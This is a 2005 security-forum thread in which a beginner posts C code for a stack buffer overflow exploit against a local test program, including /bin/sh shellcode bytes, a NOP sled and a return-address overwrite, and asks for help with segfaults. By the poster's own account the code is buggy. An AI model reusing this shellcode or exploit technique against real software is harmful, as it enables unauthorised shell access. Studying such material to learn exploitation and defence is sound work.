Waraxe IT Security Portal
Login or Register
November 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 72
Members: 0
Total: 72
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> Writing buffer overflows - new to the compsec thing
Post new topicReply to topic View previous topic :: View next topic
Writing buffer overflows - new to the compsec thing
PostPosted: Tue Oct 11, 2005 4:38 pm Reply with quote
bej
Beginner
Beginner
Joined: Oct 11, 2005
Posts: 3




Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble.

Let me give you some background:

Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4.

Here's my code. I probably don't fully understand this. If so, please correct me.

Code:

#define NOP '\x90'
#define EXIT 0

typedef unsigned long ulong;

char shellcode[] =
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

ulong getesp(void)
{
asm("movl %esp, %eax");
}

int main()
{
int i;
char buff[52], *ptr;
long *ptr2;

ulong esp = getesp();

ptr2 = buff;
ptr = (long *) ptr2;

for (i = 0; i < 51; i++)
{
*(ptr2++) = esp;
}

/* segfault around here */
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++)
{
buff[i] = NOP;
}
/* segfault around here */

for (i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buff[52] = 0;

printf("gogogo!\n");
execl("./vulnerable", "vulnerable", buff, 0);

return (EXIT);
}
View user's profile Send private message
PostPosted: Wed Oct 19, 2005 3:59 pm Reply with quote
bej
Beginner
Beginner
Joined: Oct 11, 2005
Posts: 3




Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part:

Code:

for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++)
{
buff[i] = NOP;
}


I may have been overwriting the return address with NOPs, right? I'm very confused. Sad

I'm using Aleph1's method, btw.
View user's profile Send private message
Writing buffer overflows - new to the compsec thing
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds